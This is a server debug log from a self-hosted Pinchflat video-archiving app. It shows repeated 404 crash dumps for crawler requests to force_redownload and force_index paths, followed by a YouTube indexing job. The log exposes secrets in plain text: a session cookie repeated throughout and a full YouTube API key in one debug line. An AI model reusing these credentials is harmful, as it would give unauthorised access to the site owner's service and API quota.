"https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30939.0>, params: %{}, path_info: ["sources", "28", "force_redownload"], path_params: %{}, port: 80, private: %{ Pin (truncated) 17:42:45.127 [info] GET /sources/1/force_redownload 17:42:45.128 [debug] QUERY OK source="settings" db=0.1ms idle=1006.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:45.128 [debug] QUERY OK source="settings" db=0.0ms idle=1006.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:45.128 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:42:45.128 [error] #PID<0.30941.0> running PinchflatWeb.Endpoint (connection #PID<0.30940.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/1/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30940.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60110}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30941.0>, params: %{}, path_info: ["sources", "1", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/1/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz9wtsZJt3C2RYAB1xh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30940.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60110}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30940.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60110}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30941.0>, params: %{}, path_info: ["sources", "1", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb (truncated) 17:42:45.635 [info] GET /sources/45/force_index 17:42:45.635 [debug] QUERY OK source="settings" db=0.0ms idle=1007.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:45.635 [debug] QUERY OK source="settings" db=0.0ms idle=1007.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:45.635 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:42:45.635 [error] #PID<0.30943.0> running PinchflatWeb.Endpoint (connection #PID<0.30942.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/45/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/45/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30942.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/45/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60122}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30943.0>, params: %{}, path_info: ["sources", "45", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/45/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz9wvlSFMDLuTQAB1yB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30942.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/45/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60122}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/45/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30942.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/45/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 60122}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30943.0>, params: %{}, path_info: ["sources", "45", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_ses (truncated) 17:42:46.658 [info] {"source":"oban","duration":7038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:50.631 [info] GET /sources/6/force_index 17:42:50.632 [debug] QUERY OK source="settings" db=0.0ms idle=1041.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:50.632 [debug] QUERY OK source="settings" db=0.0ms idle=285.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:50.632 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:42:50.632 [error] #PID<0.30947.0> running PinchflatWeb.Endpoint (connection #PID<0.30946.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/6/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30946.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 39656}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30947.0>, params: %{}, path_info: ["sources", "6", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/6/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz9xCMnHBk-GGIABPTi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30946.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 39656}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30946.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 39656}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRnFIQnBFSDhhQmFCVUR3dExwMEpXWnBy.sOKh3iJsmCyHaFSBIm2ttu2SvGscxLIzmVL-Yq9sJwk" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30947.0>, params: %{}, path_info: ["sources", "6", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetc (truncated) 17:42:51.599 [info] {"args":{"id":37},"id":5268490,"meta":{},"system_time":1791585771599084504,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:42:51.600 [debug] QUERY OK source="sources" db=1.0ms idle=1008.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 17:42:51.601 [debug] QUERY OK source="settings" db=1.2ms idle=968.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:51.602 [debug] QUERY OK source="media_profiles" db=1.2ms idle=969.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:51.603 [debug] QUERY OK source="settings" db=0.5ms idle=10.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:51.603 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 17:42:51.603 [debug] QUERY OK source="settings" db=0.0ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:51.603 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:42:52.001 [debug] QUERY OK source="media_items" db=0.6ms idle=400.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", 